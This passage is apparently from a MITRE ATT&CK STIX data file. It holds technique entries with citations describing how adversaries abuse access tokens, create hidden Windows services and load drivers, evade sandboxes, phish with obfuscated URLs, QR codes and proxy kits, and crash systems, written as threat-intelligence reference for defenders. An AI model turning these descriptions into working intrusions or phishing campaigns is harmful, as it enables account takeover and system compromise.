Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) \n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Stealth](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) ",
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            "id": "attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a",
            "created": "2019-08-30T12:55:58.607Z",
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                    "url": "https://attack.mitre.org/techniques/T1527",
                    "external_id": "T1527"
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                {
                    "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019",
                    "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
                    "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"
                },
                {
                    "source_name": "Microsoft Identity Platform Access 2019",
                    "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"
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                    "source_name": "okta",
                    "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.",
                    "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen"
                },
                {
                    "source_name": "Staaldraad Phishing with OAuth 2017",
                    "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.",
                    "url": "https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/"
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            "name": "Application Access Token",
            "description": "Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim\u2019s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n",
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                    "url": "https://attack.mitre.org/techniques/T1562/009",
                    "external_id": "T1562.009"
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                {
                    "source_name": "BleepingComputer REvil 2021",
                    "description": "Abrams, L. (2021, March 19). REvil ransomware has a new \u2018Windows Safe Mode\u2019 encryption mode. Retrieved June 23, 2021.",
                    "url": "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/"
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                {
                    "source_name": "Cybereason Nocturnus MedusaLocker 2020",
                    "description": "Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021.",
                    "url": "https://www.cybereason.com/blog/medusalocker-ransomware"
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                {
                    "source_name": "Microsoft Bootcfg",
                    "description": "Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021.",
                    "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg"
                },
                {
                    "source_name": "Microsoft bcdedit 2021",
                    "description": "Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit"
                },
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                    "source_name": "Microsoft Safe Mode",
                    "description": "Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021.",
                    "url": "https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234"
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                    "source_name": "CyberArk Labs Safe Mode 2016",
                    "description": "Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021.",
                    "url": "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise"
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                {
                    "source_name": "Sophos Snatch Ransomware 2019",
                    "description": "Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021.",
                    "url": "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/"
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                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
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                    "source_name": "Nearest Neighbor Volexity",
                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
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                    "source_name": "Microsoft Windows Event Forwarding FEB 2018",
                    "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection"
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                {
                    "source_name": "ESET InvisiMole June 2020",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
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                {
                    "source_name": "SANS 1",
                    "description": "Joshua Wright. (2020, October 13). Retrieved March 22, 2024.",
                    "url": "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/"
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                    "description": "Joshua Wright. (2020, October 14). Retrieved March 22, 2024.",
                    "url": "https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/"
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                {
                    "source_name": "TechNet Services",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
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                {
                    "source_name": "Microsoft 4697 APR 2017",
                    "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697"
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                {
                    "source_name": "Symantec W.32 Stuxnet Dossier",
                    "description": "Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020.",
                    "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf"
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                    "source_name": "Unit42 AcidBox June 2020",
                    "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"
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                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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                {
                    "source_name": "Crowdstrike DriveSlayer February 2022",
                    "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.",
                    "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"
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            "name": "Windows Service",
            "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\nTo make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create \u2018hidden\u2019 services (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)",
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                {
                    "source_name": "MehtaFastFluxPt1",
                    "description": "Mehta, L. (2014, December 17). Fast Flux Networks Working and Detection, Part 1. Retrieved March 6, 2017.",
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                    "source_name": "MehtaFastFluxPt2",
                    "description": "Mehta, L. (2014, December 23). Fast Flux Networks Working and Detection, Part 2. Retrieved March 6, 2017.",
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                {
                    "source_name": "Fast Flux - Welivesecurity",
                    "description": "Albors, Josep. (2017, January 12). Fast Flux networks: What are they and how do they work?. Retrieved March 11, 2020.",
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                    "source_name": "Unit 42 OilRig Sept 2018",
                    "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
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                {
                    "source_name": "McAfee Virtual Jan 2017",
                    "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.",
                    "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/"
                },
                {
                    "source_name": "Deloitte Environment Awareness",
                    "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
                    "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
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            "name": "System Checks",
            "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)",
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                    "source_name": "CloudSEK ESXiArgs 2023",
                    "description": "Mehardeep Singh Sawhney. (2023, February 9). Analysis of Files Used in ESXiArgs Ransomware Attack Against VMware ESXi Servers. Retrieved March 26, 2025.",
                    "url": "https://www.cloudsek.com/blog/analysis-of-files-used-in-esxiargs-ransomware-attack-against-vmware-esxi-servers"
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                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
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                    "source_name": "National Vulnerability Database",
                    "description": "National Vulnerability Database. (n.d.). National Vulnerability Database. Retrieved October 15, 2020.",
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            "description": "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)\n\nAn adversary may monitor vulnerability disclosures/databases to understand the state of existing, as well as newly discovered, vulnerabilities. There is usually a delay between when a vulnerability is discovered and when it is made public. An adversary may target the systems of those known to conduct vulnerability research (including commercial vendors). Knowledge of a vulnerability may cause an adversary to search for an existing exploit (i.e. [Exploits](https://attack.mitre.org/techniques/T1588/005)) or to attempt to develop one themselves (i.e. [Exploits](https://attack.mitre.org/techniques/T1587/004)).",
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                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
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                    "source_name": "CISA IDN ST05-016",
                    "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.",
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                    "source_name": "Trend Micro Pawn Storm OAuth 2017",
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
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                    "source_name": "Netskope Device Code Phishing 2021",
                    "description": "Jenko Hwong. (2021, August 10). New Phishing Attacks Exploiting OAuth Authorization Flows (Part 1). Retrieved March 19, 2024.",
                    "url": "https://www.netskope.com/blog/new-phishing-attacks-exploiting-oauth-authorization-flows-part-1"
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                    "source_name": "Microsoft OAuth 2.0 Consent Phishing 2021",
                    "description": "Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021.",
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                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
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                    "source_name": "Mandiant URL Obfuscation 2023",
                    "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
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                    "source_name": "Optiv Device Code Phishing 2021",
                    "description": "Optiv. (2021, August 17). Microsoft 365 OAuth Device Code Flow and Phishing. Retrieved March 19, 2024.",
                    "url": "https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing"
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                    "source_name": "SecureWorks Device Code Phishing 2021",
                    "description": "SecureWorks Counter Threat Unit Research Team. (2021, June 3). OAuth\u2019S Device Code Flow Abused in Phishing Attacks. Retrieved March 19, 2024.",
                    "url": "https://www.secureworks.com/blog/oauths-device-code-flow-abused-in-phishing-attacks"
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            "name": "Spearphishing Link",
            "description": "Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place.\n\nAdversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly. Additionally, adversaries may use seemingly benign links that abuse special characters to mimic legitimate websites (known as an \"IDN homograph attack\").(Citation: CISA IDN ST05-016) URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also utilize links to perform consent phishing/spearphishing campaigns to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s that grant immediate access to the victim environment. For example, a user may be lured into granting adversaries permissions/access via a malicious OAuth 2.0 request URL that when accepted by the user provide permissions/access for malicious applications.(Citation: Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consent Phishing 2021) These stolen access tokens allow the adversary to perform various actions on behalf of the user via API calls.(Citation: Microsoft OAuth 2.0 Consent Phishing 2021)\n\nSimilarly, malicious links may also target device-based authorization, such as OAuth 2.0 device authorization grant flow which is typically used to authenticate devices without UIs/browsers. Known as \u201cdevice code phishing,\u201d an adversary may send a link that directs the victim to a malicious authorization page where the user is tricked into entering a code/credentials that produces a device token.(Citation: SecureWorks Device Code Phishing 2021)(Citation: Netskope Device Code Phishing 2021)(Citation: Optiv Device Code Phishing 2021)",
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                    "source_name": "Startup Items",
                    "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
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                    "source_name": "Linux Logs",
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                },
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                    "source_name": "Sucuri BIND9 August 2015",
                    "description": "Cid, D.. (2015, August 2). BIND9 \u2013 Denial of Service Exploit in the Wild. Retrieved April 26, 2019.",
                    "url": "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html"
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            "modified": "2025-10-24T17:48:34.531Z",
            "name": "Application or System Exploitation",
            "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.\n\nAdversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as [Data Destruction](https://attack.mitre.org/techniques/T1485), [Firmware Corruption](https://attack.mitre.org/techniques/T1495), [Service Stop](https://attack.mitre.org/techniques/T1489) etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
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            ],
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "IaaS",
                "Linux",
                "macOS"
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            "x_mitre_impact_type": [
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            "type": "attack-pattern",
            "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "created": "2017-12-14T16:46:06.044Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137",
                    "external_id": "T1137"
                },
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
                },
                {
                    "source_name": "TechNet O365 Outlook Rules",
                    "description": "Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.",
                    "url": "https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/"
                },
                {
                    "source_name": "CrowdStrike Outlook Forms",
                    "description": "Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.",
                    "url": "https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746"
                },
                {
                    "source_name": "SensePost Ruler GitHub",
                    "description": "SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/ruler"
                },
                {
                    "source_name": "SensePost NotRuler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/notruler"
                },
                {
                    "source_name": "Outlook Today Home Page",
                    "description": "Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.",
                    "url": "https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943"
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            "created": "2020-01-23T19:09:48.811Z",
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                    "url": "https://attack.mitre.org/techniques/T1218/004",
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                    "source_name": "LOLBAS Installutil",
                    "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/"
                },
                {
                    "source_name": "MSDN InstallUtil",
                    "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
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            "x_mitre_contributors": [
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230",
            "created": "2020-10-02T17:09:50.723Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1598/003",
                    "external_id": "T1598.003"
                },
                {
                    "source_name": "ACSC Email Spoofing",
                    "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
                },
                {
                    "source_name": "TrendMictro Phishing",
                    "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.",
                    "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html"
                },
                {
                    "source_name": "IAPP",
                    "description": "IAPP. (n.d.). Retrieved March 5, 2024.",
                    "url": "https://iapp.org/resources/article/web-beacon/"
                },
                {
                    "source_name": "QR-campaign-energy-firm",
                    "description": "Jonathan Greig. (2023, August 16). Phishing campaign used QR codes to target large energy company. Retrieved November 27, 2023.",
                    "url": "https://therecord.media/phishing-campaign-used-qr-codes-to-target-energy-firm"
                },
                {
                    "source_name": "PCMag FakeLogin",
                    "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.",
                    "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages"
                },
                {
                    "source_name": "Microsoft Anti Spoofing",
                    "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
                    "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
                },
                {
                    "source_name": "Mr. D0x BitB 2022",
                    "description": "mr.d0x. (2022, March 15). Browser In The Browser (BITB) Attack. Retrieved March 8, 2023.",
                    "url": "https://mrd0x.com/browser-in-the-browser-phishing-attack/"
                },
                {
                    "source_name": "Mandiant URL Obfuscation 2023",
                    "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.",
                    "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
                },
                {
                    "source_name": "NIST Web Bug",
                    "description": "NIST Information Technology Laboratory. (n.d.). web bug. Retrieved March 22, 2023.",
                    "url": "https://csrc.nist.gov/glossary/term/web_bug"
                },
                {
                    "source_name": "Proofpoint Human Factor",
                    "description": "Proofpoint. (n.d.). The Human Factor 2023: Analyzing the cyber attack chain. Retrieved July 20, 2023.",
                    "url": "https://www.proofpoint.com/sites/default/files/threat-reports/pfpt-us-tr-human-factor-report.pdf"
                },
                {
                    "source_name": "Ryte Wiki",
                    "description": "Ryte Wiki. (n.d.). Retrieved November 17, 2024.",
                    "url": "https://en.ryte.com/wiki/Tracking_Pixel/"
                },
                {
                    "source_name": "qr-phish-agriculture",
                    "description": "Tim Bedard and Tyler Johnson. (2023, October 4). QR Code Scams & Phishing. Retrieved November 27, 2023.",
                    "url": "https://www.proofpoint.com/us/blog/email-and-cloud-threats/cybersecurity-stop-month-qr-code-phishing"
                },
                {
                    "source_name": "ZScaler BitB 2020",
                    "description": "ZScaler. (2020, February 11). Fake Sites Stealing Steam Credentials. Retrieved March 8, 2023.",
                    "url": "https://www.zscaler.com/blogs/security-research/fake-sites-stealing-steam-credentials"
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            "modified": "2026-05-12T15:12:00.624Z",
            "name": "Spearphishing Link",
            "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also embed \u201ctracking pixels,\u201d \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug)(Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server.(Citation: Ryte Wiki)(Citation: IAPP)\n\nAdversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)\n\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\n\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as \u201cquishing\u201d). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly  to a user\u2019s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile\u2019s smaller form factor.\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
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                    "phase_name": "reconnaissance"
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                "Robert Simmons, @MalwareUtkonos",
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            "created": "2020-02-11T18:27:15.774Z",
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                    "url": "https://attack.mitre.org/techniques/T1021/004",
                    "external_id": "T1021.004"
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                {
                    "source_name": "Sygnia Abyss Locker 2025",
                    "description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.",
                    "url": "https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/"
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                {
                    "source_name": "TrendMicro ESXI Ransomware",
                    "description": "Junestherry Dela Cruz. (2022, January 24). Analysis and Impact of LockBit Ransomware\u2019s First Linux and VMware ESXi Variant. Retrieved March 26, 2025.",
